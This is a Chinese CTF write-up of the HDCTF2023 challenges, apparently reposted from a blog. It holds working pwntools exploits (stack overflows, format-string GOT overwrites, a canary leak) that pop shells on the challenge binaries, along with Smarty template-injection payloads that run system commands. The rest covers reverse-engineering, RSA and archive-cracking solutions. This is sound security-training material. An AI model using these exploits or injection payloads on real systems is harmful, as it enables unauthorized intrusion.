0


HDCTF2023 Writeup

pwn 做完了,别的方向的也有打一点。
在这里插入图片描述

PWN

pwnner

伪随机数,种子也给出来了。先写个生成对应随机数的 c 程序。

// gcc 1.c -o 1#include<stdio.h>#include<stdlib.h>#include<time.h>intmain(){srand(0x39);printf("随机数为: %d\n",rand());return0;}

基础栈溢出 + 给了后门函数

exp 如下:

from pwn import*
p = process('./pwnner')#p = remote('node5.anna.nssctf.cn',28806)

p.sendline('1956681178')

backdoor =0x00000000004008B2
payload ='a'*(0x40+0x8)+ p64(backdoor)
sleep(0.1)
p.sendline(payload)

p.interactive()

KEEP ON

给了个 shell,不过是假的。

利用格式化字符串漏洞劫持 printf_got 为 system_plt(经过调试得到 printf 的偏移是6 )
下面存在 0x10 字节的溢出,能改 vuln 函数的返回地址为 vuln 再打一次,然后写入 ‘/bin/sh\x00’ 就能执行 system(‘/bin/sh\x00’)

exp 如下:

from pwn import*
context(arch='amd64', os='linux')
context.log_level ='debug'
elf = ELF("./hdctf")
p = process('./hdctf')#p = remote("node5.anna.nssctf.cn",28634)

system_plt =0x00000000004005E0
printf_got = elf.got['printf']#gdb.attach(p)#pause()
payload1 = fmtstr_payload(6,{printf_got: system_plt})
sleep(0.1)
p.sendafter('name: \n',payload1)

vuln_addr =0x40076F#pause()
payload2 ='a'*(0x50+0x8)+ p64(vuln_addr)
sleep(0.1)
p.sendafter('on !\n',payload2)#pause()
sleep(0.1)
p.sendafter('name: \n',"/bin/sh\x00")

p.interactive()

Makewish

伪随机数,种子默认为1,依旧是先写个生成对应随机数的 c 程序,跑出来 v5 为 707。

// gcc 1.c -o 1#include<stdio.h>#include<stdlib.h>#include<time.h>intmain(){int v5;
    v5 =rand()%1000+324;printf("v5: %d\n", v5);return0;}

填入足够长的字符,改 canary 的低位 ‘\x00’ 为 ‘\x0a’,就能利用 puts 泄露 canary。然后通过了条件判断后可以进入 vuln,这里卡了好一会,直接输 ‘707’ 是过不了判断的,经过调试发现是直接比较内存单元的数据,所以改成了对应的十六进制形式 ‘\xc3\x02\x00\x00’ 来发送。

vuln 函数有 off-by-null,能改 old_ebp 的最低一字节为 ‘\x00’,可以上抬栈底指针了,运气好的话可以劫持到 main 函数的返回地址。在 payload 的前一部分布置尽量多的滑板指令,基本上跑两三遍就能出。

exp 如下:

from pwn import*
p = process('./pwn')#p = remote('node6.anna.nssctf.cn',28213)
context.log_level ='debug'#gdb.attach(p)#pause()
payload1 ='a'*(0x30-0x8)
p.sendline(payload1)

p.recvuntil(payload1)
canary = u64(p.recv(8))-0x0a
log.info("canary:"+hex(canary))

sleep(0.1)
p.send('\xc3\x02\x00\x00')#pause()
backdoor =0x4007C7
ret =0x400902
payload2 = p64(ret)*10
payload2 += p64(backdoor)
payload2 += p64(canary)
sleep(0.1)
p.sendline(payload2)

p.interactive()

Minions

利用 vuln 函数内的格式化字符串漏洞直接改 key 为 102(经过调试得到 printf 的偏移是6 )

存在 0x10 字节的栈溢出,能改回 main 函数的地址多打几次。

至于程序能够往 bss 段写,这个点我倒是没用上,后面的基本上跟 KEEP ON 的打法差不多。

至于出现了本地通远端不通的情况,我将返回到 main 改到 _start 就通了。

exp 如下:

from pwn import*
context(arch='amd64', os='linux')
context.log_level ='debug'
elf = ELF("./minions1")
p = process('./minions1')#p = remote('node6.anna.nssctf.cn',28837)

key_addr =0x6010A0
key =0x66#gdb.attach(p)#pause()
payload1 = fmtstr_payload(6,{key_addr: key})
p.sendafter('name?\n\n',payload1)

start_addr =0x400610#pause()
payload2 ='a'*(0x30+0x8)+ p64(start_addr)
p.sendafter('you\n',payload2)

p.sendafter('Minions?\n','a')

system_plt =0x00000000004005C0
printf_got = elf.got['printf']

payload3 = fmtstr_payload(6,{printf_got: system_plt})
p.sendafter('name?\n\n',payload3)

p.sendafter('you\n',payload2)
p.sendafter('Minions?\n','a')

p.sendafter('name?\n\n','/bin/sh\x00')

p.interactive()

WEB

Welcome To HDCTF 2023

签到题,移动人物往有倒计时的黑脸靠,HP = 0 的时候就会弹 flag
在这里插入图片描述

SearchMaster

smarty 注入

data={if system('ls /')}{/if}

在这里插入图片描述

data={if system('cat /flag_13_searchmaster')}{/if}

在这里插入图片描述

REVERSE

easy_re

使用 UPXshell 脱壳后拖入 IDA 分析,然后再 shift + f12 能找到一串使用 base64 编码的字符串,拖进在线网站解码即可。
在这里插入图片描述

easy_asm

直接拖进 IDA 中分析汇编。发现加密的字符串,转成字符是 XTSDVkZecdOqOu#ciOqC}m
在这里插入图片描述

将密文与 0x10 异或就是 flag。

flag ="XTSDVkZecdOqOu#ciOqC}m"
result =""for char in flag:
    xored_char =chr(ord(char)^0x10)
    result += xored_char

print(result)

double_code

by Jasonxjy

点进这个函数。
在这里插入图片描述

此处应该是加载 shellcode, 但是 ida 已经把 shellcode 分析成伪代码了
在这里插入图片描述

根据逻辑可以分析出来是个类似于虚拟机的操作,可以根据 opcode 写出 exp:

#include<iostream>#include<string>#include<cstring>
using namespace std;intmain(){int opcode[]={1,5,2,4,3};unsignedchar flag[]={0x48,0x67,0x45,0x51,0x42,0x7b,0x70,0x6a,0x30,0x68,0x6c,0x60,0x32,0x61,0x61,0x5f,0x42,0x70,0x61,0x5b,0x30,0x53,0x65,0x6c,0x60,0x65,0x7c,0x63,0x69,0x2d,0x5f,0x46,0x35,0x70,0x75,0x7d};for(int i =0; i <strlen((char*)flag); i ++){int tmp = i%5;if(tmp ==1){
            flag[i]^=0x23;}elseif(tmp ==2){
            flag[i]-=2;}elseif(tmp ==3){
            flag[i]+=3;}elseif(tmp ==4){
            flag[i]+=4;}elseif(tmp ==5){
            flag[i]+=25;}printf("%c",flag[i]);}}

fake_game

2020年「羊城杯」网络安全大赛 Re部分 WriteUp_1182843538814603_Simon菌的博客-CSDN博客

ycb 有道类似的。使用 PyInstaller 解包,然后将 game.pyc 文件放入在线网站反编译。分析代码看到方程组,使用 z3 模块进行解密,再与 flag 数组进行异或。

from z3 import*
s=Solver()
xorr=[0]*4for i inrange(4):
    xorr[i]=Int('xorr['+str(i)+']')

s.add(xorr[0]*256- xorr[1]/2+ xorr[2]*23+ xorr[3]/2==47118166)
s.add(xorr[0]*252- xorr[1]*366+ xorr[2]*23+ xorr[3]/2-1987==46309775)
s.add(xorr[0]*6- xorr[1]*88+ xorr[2]/2+ xorr[3]/2-11444==1069997)
s.add((xorr[0]-652)*2- xorr[1]*366+ xorr[2]*233+ xorr[3]/2-13333==13509025)if s.check()==sat:print(s.model())else:print("wrong")

先解密,然后再异或。

flag =[178868,188,56953,2413,178874,131,56957,2313,178867,156,56933,2377,178832,202,56899,2314,178830,167,56924,2313,178830,167,56938,2383,178822,217,56859,2372]
key='''''
xorr[1] = 248,
 xorr[0] = 178940,
 xorr[2] = 56890,
 xorr[3] = 2360
'''

xorr =[178940,248,56890,2361]for i inrange(len(flag)):
        key+=chr(flag[i]^xorr[i%4])print(key)

买了些什么呢

物品数量40,背包容量50,每个商品只能拿一次,以买到总价值最高的商品,从小到大排列输出商品的编号。

所以物品的重量和价值为:

2 8 5 1 10 5 9 9 3 5 6 6 2 8 2 2 6 3 8 7 2 5 3 4 3 3 2 7 9 6 8 7 2 9 10 3 8 10 6 5 4 2 3 4 4 5 2 2 4 9 8 5 3 8 8 10 4 2 10 9 7 6 1 3 9 7 1 3 5 9 7 6 1 10 1 1 7 2 4 9

纯 0-1 背包问题。

#include<bits/stdc++.h>
using namespace std;constint N=1e4+5;int f[N],p[N][N],w[N],v[N];//void printpath(int x)//{// if(!x) return;// printpath(x-w[p[x]]);// cout<<p[x]<<" ";//}intmain(){int n,m;// 先输入物品数量,再输入背包容量
 cin>>n>>m;for(int i=1; i<=n; i++)
 cin>>w[i]>>v[i];for(int i=n; i>=1; i--){;for(int j=m; j>=w[i]; j--){if(f[j]<f[j-w[i]]+v[i]){
    f[j]=f[j-w[i]]+v[i];
    p[i][j]=1;}}}
 cout<<f[m]<<'\n';// printpath(m);for(int i=1,j=m;i<=n&&j>=0;i++){if(p[i][j]){
   cout<<i-14<<" ";
   j-=w[i];}}return0;}

运行截图如下,将结果使用 NSSCTF{} 包住就是 flag。
在这里插入图片描述

enc

by Jasonxjy

表面是个 tea 然后传参,使用脚本解出 v10 的值为 3
在这里插入图片描述

脚本如下:

#include<string.h>#include<iostream>
using namespace std;voidtea_decrypt(uint32_t*v,uint32_t*k){uint32_t v0 = v[0], v1 = v[1], sum =0xC6EF3720, i;uint32_t delta =0x9e3779b9;for(i =0; i <32; i++){
        v1 -=((v0 <<4)+ k[2])^(v0 + sum)^((v0 >>5)+ k[3]);
        v0 -=((v1 <<4)+ k[0])^(v1 + sum)^((v1 >>5)+ k[1]);
        sum -= delta;}
 
    v[0]= v0;
    v[1]= v1;}intmain(){uint32_t enc[2]={0x60FCDEF7,0x236DBEC};uint32_t key[]={0x12,0x34,0x56,0x78};tea_decrypt(enc,key);
    cout<<enc[0];return0;}

在这里插入图片描述smc 加密处理了 hdctf 字段,使用 idapython 异或回去。

for i inrange(0x41d000,0x41E600):
    patch_byte(i,get_wide_byte(i)^3)

在这里插入图片描述就可以看到加密函数了,普通 rc4

#include<iostream>#include<cstring>
using namespace std;unsignedchar ida_chars[]={0xD4,0x16,0x87,0xD6,0x54,0x68,0xBC,0x02,0x15,0x6D,0x30,0x08,0x4B,0x61,0x4C,0x5E,0x42,0xFD,0x55,0x61,0xB9,0x27,0x6F,0xF5,0xB6,0x86,0x23,0xA9,0xEF,0x1C,0x04,0x9F};voidrc4_1(unsignedchar*s,unsignedchar*key,unsignedlong Len){int i =0, j =0;char k[256]={0};unsignedchar tmp =0;for(i =0; i<256; i++){
        s[i]= i;
        k[i]= key[i%Len];}for(i =0; i<256; i++){
        j =(j + s[i]+ k[i])%256;
        tmp = s[i];
        s[i]= s[j];
        s[j]= tmp;}}voidrc4_2(unsignedchar*s,unsignedchar*Data,unsignedlong Len){int i =0, j =0, t =0;unsignedlong k =0;unsignedchar tmp;for(k =0; k<Len; k++){
        i =(i +1)%256;
        j =(j + s[i])%256;
        tmp = s[i];
        s[i]= s[j];
        s[j]= tmp;
        t =(s[i]+ s[j])%256;
        Data[k]^= s[t];}}intmain(){unsignedchar s[256]={0}, s2[256]={0};char key[256]="you_are_master";unsignedchar pData[512]={0xf,0x94,0xae,0xf2,0xc0,0x57,0xc2,0xe0,0x9a,0x45,0x37,0x50,0xf5,0xa0,0x5e,0xcb,0x2c,0x16,0x28,0x29,0xfe,0xff,0x33,0x46,0xe,0x57,0x82,0x22,0x52,0x26,0x2b,0x6e,0xe4,0x82,0x24};unsignedlong len =35;int i;rc4_1(s,(unsignedchar*)key,strlen(key));rc4_2(s,(unsignedchar*)pData, len);printf("%s", pData);return0;}

CRYPTO

Normal_Rsa

出题人忘删 flag 了,打开文件就看见 flag 了。

Normal_Rsa(revenge)

解 rsa。

p,q 要解一下,观察到给出的数字,位数一样就直接开方了。

(查到开根号的方法,开出来就是科学计数法,复原一下就好。

P =8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
Q =112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
n =12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c =7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
e=65537

e=65537
p=pow(P,0.5)
q=pow(Q,0.5)print(p)print(q)

然后套 rsa 模板解密即可。

import gmpy2 as gs
import binascii

n =12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749

c =7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785

e=65537

p=93595995503882796484948942664787567679411018850571035558047095185699253142469
q=10626484086425759109526601843431131274302413270645909659804218687679714714707826956012068057535486307660248767234433303462363381171495481245390248120740549

n=p*q
phi =(p-1)*(q-1)
d = gs.invert(e,phi)
m =pow(c,d,n)print(bytes.fromhex(hex(m)[2:]))

爬过小山去看云

小山的英文是 hill,就是希尔密码;云,就是云隐密码。

给了密钥的希尔密码,在线网站解密就好。
在这里插入图片描述
润色一下就看出来了。

your pin is 
eight four two zero eight four two one zero eight eight four zero two four zero eight four zero one zero one two four x
# 842084210884024084010124

然后使用云隐密码的解密脚本。

ct ='842084210884024084010124'list= ct.split('0')
flag=''for i inlist:sum=0for j in i:sum+=int(j)
    flag +=chr(sum+64)print(flag)# NSSCTF{NOTFLAG}

Math_Rsa

by Jasonxjy

直接用 sagemath 在环上进行开根即可还原 p,接着解一个 rsa

import gmpy2
from Crypto.Util.number import*
n =14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r =145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a =55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c =12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
P.<x>= PolynomialRing(Zmod(r))
f=x**2-a
f=f.monic()
p=f.roots()[0]print(p)
p=135098300162574110032318082604507116145598393187097375349178563291884099917465443655846455456198422625358836544141120445250413758672683505731015242196083913722084539762488109001442453793004455466844129788221721833309756439196036660458760461237225684006072689852654273913614912604470081753828559417535710077291
q=n//p
d=gmpy2.invert(65537,(p-1)*(q-1))
m=pow(c,d,n)print(long_to_bytes(m))

MISC

hardMisc

丢进 010editor 看,最后面有一串 base64 密文,放到在线网站解密即可。

ExtremeMisc

使用 binwalk 分析发现有压缩包,压缩包套娃。手动分离压缩包 IDAT.zip, Dic.zip,尝试爆破密码 haida,成功得到 reverse.piz 文件。

根据文件名称提示并放入 010editor 中,观察到压缩包中编码被反转,读取文件内内容进行反转。

f =open('Reverse.zip',"rb")# 打开要读取的二进制文件
hex_list =["{:02X}".format(c)for c in f.read()]# 将文件内容转换为十六进制字符串列表
f.close()

hex_str =''.join(hex_list)# 将列表中的字符串连接成一个字符串
reversed_hex_str = hex_str[::-1]# 将字符串反转

reversed_bytes =bytes.fromhex(reversed_hex_str)# 将反转后的十六进制字符串转换为字节流withopen('Reverse_reversed.zip','wb')as f:# 打开一个新的二进制文件,将反转后的字节流写入其中
    f.write(reversed_bytes)

得到恢复正常的 zip 文件,但是解压发现还有加密,爆破得到密码是 9724。得到 secert.zip, plain.zip。plain.zip 有第二层加密,使用明文攻击拿到最后一层密码,打开读取 flag 即可。
在这里插入图片描述

MasterMisc

里面有好几个都是一样的压缩包。恢复密码是 5438,得到一张图片,然后使用 binwalk 可以得到一张图片一个音频。

音频可以看见第一部分flag。
在这里插入图片描述

图片爆破宽高然后修改得到第二部分flag。
在这里插入图片描述

最后一部分直接搜索原图片可以发现。
在这里插入图片描述

标签: 网络安全 python

本文转载自: https://blog.csdn.net/weiii007/article/details/130313194
版权归原作者 S4n_v1 所有, 如有侵权,请联系我们删除。

“HDCTF2023 Writeup”的评论:

还没有评论